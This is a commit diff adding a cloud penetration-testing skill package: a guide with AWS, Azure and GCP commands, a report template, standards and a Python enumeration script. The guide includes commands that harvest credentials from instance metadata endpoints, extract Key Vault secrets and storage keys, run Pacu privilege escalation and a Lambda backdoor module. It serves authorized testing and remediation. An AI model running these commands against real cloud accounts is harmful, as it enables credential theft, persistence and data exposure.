Initial commit - 611 cybersecurity skills across all subdomains

2026-08-02 09:07:41 +03:00 · 2026-02-25 10:47:44 +01:00
commit 22a7ab1462
1765 changed files with 280648 additions and 0 deletions
@@ -0,0 +1,258 @@
+---
+name: conducting-cloud-infrastructure-penetration-test
+description: Perform a cloud infrastructure penetration test across AWS, Azure, and GCP to identify IAM misconfigurations, exposed storage buckets, insecure serverless functions, and cloud-native attack paths using Pacu, ScoutSuite, and Prowler.
+domain: cybersecurity
+subdomain: penetration-testing
+tags: [cloud-pentest, AWS, Azure, GCP, Pacu, ScoutSuite, Prowler, IAM, S3, cloud-security]
+version: "1.0"
+author: mahipal
+license: MIT
+---
+
+# Conducting Cloud Infrastructure Penetration Test
+
+## Overview
+
+Cloud infrastructure penetration testing identifies security weaknesses in AWS, Azure, and GCP environments by targeting IAM policies, storage configurations, compute instances, serverless functions, network controls, and Kubernetes clusters. Cloud-specific attack vectors include over-privileged IAM roles, misconfigured storage buckets, exposed metadata services, insecure API endpoints, and lateral movement through cloud service chains.
+
+## Prerequisites
+
+- Written authorization and cloud provider notification (AWS penetration testing policy, Azure rules, GCP terms)
+- Cloud credentials with read-only access (assumed breach model) or unauthenticated external testing
+- Tools: Pacu (AWS), ScoutSuite, Prowler, AzureHound, GCPBucketBrute, CloudMapper
+- Understanding of shared responsibility model for each provider
+
+## AWS Penetration Testing
+
+### Initial Enumeration
+
+```bash
+# Verify caller identity
+aws sts get-caller-identity
+
+# Enumerate IAM permissions
+aws iam get-user
+aws iam list-attached-user-policies --user-name testuser
+aws iam list-user-policies --user-name testuser
+
+# Enumerate all IAM users and roles
+aws iam list-users
+aws iam list-roles
+aws iam list-groups
+
+# Enumerate EC2 instances
+aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress]' --output table
+
+# Enumerate S3 buckets
+aws s3 ls
+aws s3 ls s3://target-bucket --recursive
+
+# Enumerate Lambda functions
+aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table
+
+# Enumerate RDS databases
+aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]' --output table
+
+# Enumerate secrets
+aws secretsmanager list-secrets
+aws ssm describe-parameters
+```
+
+### Pacu Exploitation Framework
+
+```bash
+# Install and configure Pacu
+pip install pacu
+pacu
+
+# Import AWS keys
+Pacu> set_keys
+Pacu> import_keys testuser
+
+# Run enumeration modules
+Pacu> run iam__enum_permissions
+Pacu> run iam__enum_users_roles_policies_groups
+Pacu> run ec2__enum
+Pacu> run s3__enum
+Pacu> run lambda__enum
+
+# Privilege escalation checks
+Pacu> run iam__privesc_scan
+
+# Exploit S3 bucket misconfigurations
+Pacu> run s3__bucket_finder
+
+# EC2 metadata SSRF exploitation
+Pacu> run ec2__metadata_services
+
+# Lambda backdoor (authorized testing)
+Pacu> run lambda__backdoor_new_roles
+```
+
+### S3 Bucket Testing
+
+```bash
+# Test for public buckets
+aws s3 ls s3://target-corp-backup --no-sign-request
+aws s3 cp s3://target-corp-backup/test.txt /tmp/ --no-sign-request
+
+# Check bucket policy
+aws s3api get-bucket-policy --bucket target-corp-backup
+aws s3api get-bucket-acl --bucket target-corp-backup
+
+# Test for ACL misconfigurations
+aws s3api put-object --bucket target-corp-backup --key pentest_proof.txt \
+  --body /tmp/proof.txt
+```
+
+### EC2 Instance Metadata Exploitation
+
+```bash
+# From a compromised EC2 instance:
+# IMDSv1 (if not disabled)
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
+
+# Extract temporary credentials
+# Use them to enumerate further permissions
+export AWS_ACCESS_KEY_ID=<from_metadata>
+export AWS_SECRET_ACCESS_KEY=<from_metadata>
+export AWS_SESSION_TOKEN=<from_metadata>
+aws sts get-caller-identity
+```
+
+## Azure Penetration Testing
+
+### Azure Enumeration
+
+```bash
+# Login with test credentials
+az login -u testuser@target.onmicrosoft.com -p 'Password123'
+
+# Enumerate subscriptions
+az account list --output table
+
+# Enumerate resource groups
+az group list --output table
+
+# Enumerate VMs
+az vm list --output table
+
+# Enumerate storage accounts
+az storage account list --output table
+
+# Enumerate App Services
+az webapp list --output table
+
+# Enumerate Key Vaults
+az keyvault list --output table
+
+# Enumerate Azure AD users
+az ad user list --output table
+
+# AzureHound for attack paths (like BloodHound for Azure)
+azurehound list -u testuser@target.onmicrosoft.com -p 'Password123' -o azurehound.json
+```
+
+### Azure-Specific Attacks
+
+```bash
+# Enumerate Managed Identity from compromised VM
+curl -H "Metadata: true" \
+  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+
+# Storage account key extraction
+az storage account keys list --resource-group RG-Production --account-name targetstorageacct
+
+# Key Vault secret extraction
+az keyvault secret list --vault-name target-keyvault
+az keyvault secret show --vault-name target-keyvault --name admin-password
+
+# Stormspotter — Azure attack graph
+python stormspotter.py --cli
+```
+
+## GCP Penetration Testing
+
+### GCP Enumeration
+
+```bash
+# Authenticate
+gcloud auth login
+
+# List projects
+gcloud projects list
+
+# Enumerate compute instances
+gcloud compute instances list
+
+# Enumerate storage buckets
+gsutil ls
+gsutil ls gs://target-bucket/
+
+# Enumerate IAM policies
+gcloud projects get-iam-policy PROJECT_ID
+
+# Enumerate Cloud Functions
+gcloud functions list
+
+# Enumerate service accounts
+gcloud iam service-accounts list
+
+# Check for public buckets
+gsutil ls -L gs://target-bucket/ | grep "Access control"
+```
+
+## Cross-Cloud Security Assessment
+
+### ScoutSuite Multi-Cloud Audit
+
+```bash
+# AWS audit
+scout suite aws --profile testuser
+
+# Azure audit
+scout suite azure --cli
+
+# GCP audit
+scout suite gcp --user-account
+
+# Review results in HTML dashboard
+# Focus on: IAM, storage, networking, logging findings
+```
+
+### Prowler (AWS CIS Benchmark)
+
+```bash
+# Run full CIS benchmark scan
+prowler aws --profile testuser
+
+# Run specific checks
+prowler aws -c check11 check12 check13  # IAM checks
+prowler aws -g s3  # S3 group
+prowler aws -g forensics-ready  # Logging checks
+
+# Export results
+prowler aws -M json-ocsf -o ./prowler_results/
+```
+
+## Findings Matrix
+
+| Finding | Cloud | Severity | Remediation |
+|---------|-------|----------|-------------|
+| Public S3 bucket with PII | AWS | Critical | Enable bucket policy deny public access |
+| Over-privileged IAM role on Lambda | AWS | High | Implement least-privilege IAM policies |
+| IMDSv1 enabled on EC2 | AWS | High | Enforce IMDSv2 across all instances |
+| Storage account with public blob access | Azure | Critical | Disable anonymous blob access |
+| Key Vault accessible by all users | Azure | High | Restrict Key Vault access policies |
+| GCS bucket with allUsers read | GCP | Critical | Remove allUsers permission |
+| Service account key exposed in repo | GCP | Critical | Rotate key, enable Workload Identity |
+
+## References
+
+- Pacu: https://github.com/RhinoSecurityLabs/pacu
+- ScoutSuite: https://github.com/nccgroup/ScoutSuite
+- Prowler: https://github.com/prowler-cloud/prowler
+- AzureHound: https://github.com/BloodHoundAD/AzureHound
+- AWS Penetration Testing Policy: https://aws.amazon.com/security/penetration-testing/
+- HackTricks Cloud: https://cloud.hacktricks.wiki/
@@ -0,0 +1,25 @@
+# Cloud Infrastructure Penetration Test — Report Template
+
+## Document Control
+| Field | Value |
+|-------|-------|
+| Cloud Provider(s) | AWS / Azure / GCP |
+| Account/Subscription IDs | [IDs] |
+| Starting Access | [Read-only IAM user / Unauthenticated] |
+| Period | [Start] — [End] |
+
+## Executive Summary
+[Cloud security posture overview, key misconfigurations, privilege escalation paths]
+
+## Findings
+### Finding [N]: [Title]
+| Attribute | Detail |
+|-----------|--------|
+| Provider | [AWS/Azure/GCP] |
+| Resource | [ARN/Resource ID] |
+| Severity | [Level] |
+| Issue | [Description] |
+| Remediation | [Fix] |
+
+## Recommendations
+1. [Priority recommendations by cloud provider]
@@ -0,0 +1,12 @@
+# Standards — Cloud Infrastructure Penetration Testing
+
+## Cloud Provider Policies
+- AWS: https://aws.amazon.com/security/penetration-testing/
+- Azure: https://learn.microsoft.com/en-us/azure/security/fundamentals/pen-testing
+- GCP: https://cloud.google.com/terms/aup
+
+## Frameworks
+- CIS Benchmarks for AWS/Azure/GCP
+- NIST SP 800-144: Guidelines on Security and Privacy in Public Cloud Computing
+- CSA Cloud Controls Matrix (CCM)
+- MITRE ATT&CK Cloud Matrix: https://attack.mitre.org/matrices/enterprise/cloud/
@@ -0,0 +1,13 @@
+# Workflows — Cloud Infrastructure Penetration Testing
+
+## Attack Flow
+```
+Cloud Credentials / Unauthenticated
+    │
+    ├── IAM Enumeration (permissions, roles, policies)
+    ├── Resource Discovery (compute, storage, serverless)
+    ├── Privilege Escalation (IAM chaining, role assumption)
+    ├── Data Access (storage buckets, databases, secrets)
+    ├── Lateral Movement (cross-account, cross-service)
+    └── Impact Demonstration (data exfiltration proof)
+```
@@ -0,0 +1,134 @@
+#!/usr/bin/env python3
+"""
+Cloud Infrastructure Penetration Test — Automation Process
+
+Automates AWS/Azure/GCP enumeration and security assessment.
+
+Usage:
+    python process.py --provider aws --profile testuser --output ./results
+"""
+
+import subprocess
+import json
+import argparse
+import datetime
+from pathlib import Path
+
+
+def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
+    try:
+        result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
+        return result.stdout, result.stderr, result.returncode
+    except (subprocess.TimeoutExpired, FileNotFoundError) as e:
+        return "", str(e), -1
+
+
+def aws_enumerate(profile: str, output_dir: Path) -> dict:
+    """Enumerate AWS resources."""
+    print("[*] Enumerating AWS resources...")
+    results = {}
+
+    checks = {
+        "identity": ["aws", "sts", "get-caller-identity", "--profile", profile],
+        "s3_buckets": ["aws", "s3api", "list-buckets", "--profile", profile],
+        "ec2_instances": ["aws", "ec2", "describe-instances", "--profile", profile],
+        "lambda_functions": ["aws", "lambda", "list-functions", "--profile", profile],
+        "iam_users": ["aws", "iam", "list-users", "--profile", profile],
+        "rds_instances": ["aws", "rds", "describe-db-instances", "--profile", profile],
+    }
+
+    for name, cmd in checks.items():
+        stdout, stderr, rc = run_command(cmd)
+        if rc == 0:
+            try:
+                results[name] = json.loads(stdout)
+            except json.JSONDecodeError:
+                results[name] = {"raw": stdout}
+        else:
+            results[name] = {"error": stderr[:200]}
+
+    with open(output_dir / "aws_enum.json", "w") as f:
+        json.dump(results, f, indent=2, default=str)
+
+    return results
+
+
+def check_public_s3(buckets: list[str], profile: str) -> list[dict]:
+    """Check S3 buckets for public access."""
+    findings = []
+    for bucket in buckets:
+        stdout, stderr, rc = run_command(
+            ["aws", "s3api", "get-bucket-acl", "--bucket", bucket, "--profile", profile]
+        )
+        if rc == 0:
+            acl = json.loads(stdout)
+            for grant in acl.get("Grants", []):
+                grantee = grant.get("Grantee", {})
+                if grantee.get("URI", "").endswith("AllUsers") or \
+                   grantee.get("URI", "").endswith("AuthenticatedUsers"):
+                    findings.append({
+                        "bucket": bucket,
+                        "grantee": grantee.get("URI"),
+                        "permission": grant.get("Permission"),
+                        "severity": "Critical"
+                    })
+    return findings
+
+
+def generate_report(provider: str, enum_results: dict, findings: list[dict],
+                     output_dir: Path) -> str:
+    """Generate cloud pentest report."""
+    report_file = output_dir / f"{provider}_pentest_report.md"
+    timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
+
+    with open(report_file, "w") as f:
+        f.write(f"# {provider.upper()} Cloud Penetration Test Report\n\n")
+        f.write(f"**Generated:** {timestamp}\n\n---\n\n")
+
+        f.write("## Resource Inventory\n\n")
+        for resource, data in enum_results.items():
+            f.write(f"### {resource}\n")
+            if isinstance(data, dict) and "error" in data:
+                f.write(f"Access denied: {data['error'][:100]}\n\n")
+            else:
+                f.write(f"```json\n{json.dumps(data, indent=2, default=str)[:500]}\n```\n\n")
+
+        if findings:
+            f.write("## Security Findings\n\n")
+            for finding in findings:
+                f.write(f"### [{finding['severity']}] {finding.get('bucket', finding.get('resource', 'Unknown'))}\n")
+                f.write(f"- Issue: {finding.get('grantee', finding.get('issue', ''))}\n")
+                f.write(f"- Permission: {finding.get('permission', '')}\n\n")
+
+        f.write("## Recommendations\n\n")
+        f.write("1. Enable S3 Block Public Access at account level\n")
+        f.write("2. Implement least-privilege IAM policies\n")
+        f.write("3. Enforce IMDSv2 on all EC2 instances\n")
+        f.write("4. Enable CloudTrail logging in all regions\n")
+        f.write("5. Use AWS Organizations SCPs for guardrails\n")
+
+    print(f"[+] Report: {report_file}")
+    return str(report_file)
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Cloud Pentest Automation")
+    parser.add_argument("--provider", choices=["aws", "azure", "gcp"], default="aws")
+    parser.add_argument("--profile", default="default")
+    parser.add_argument("--output", default="./results")
+    args = parser.parse_args()
+
+    output_dir = Path(args.output)
+    output_dir.mkdir(parents=True, exist_ok=True)
+
+    if args.provider == "aws":
+        results = aws_enumerate(args.profile, output_dir)
+        buckets = [b["Name"] for b in results.get("s3_buckets", {}).get("Buckets", [])]
+        findings = check_public_s3(buckets[:20], args.profile)
+        generate_report("aws", results, findings, output_dir)
+
+    print(f"\n[+] Cloud pentest automation complete for {args.provider}")
+
+
+if __name__ == "__main__":
+    main()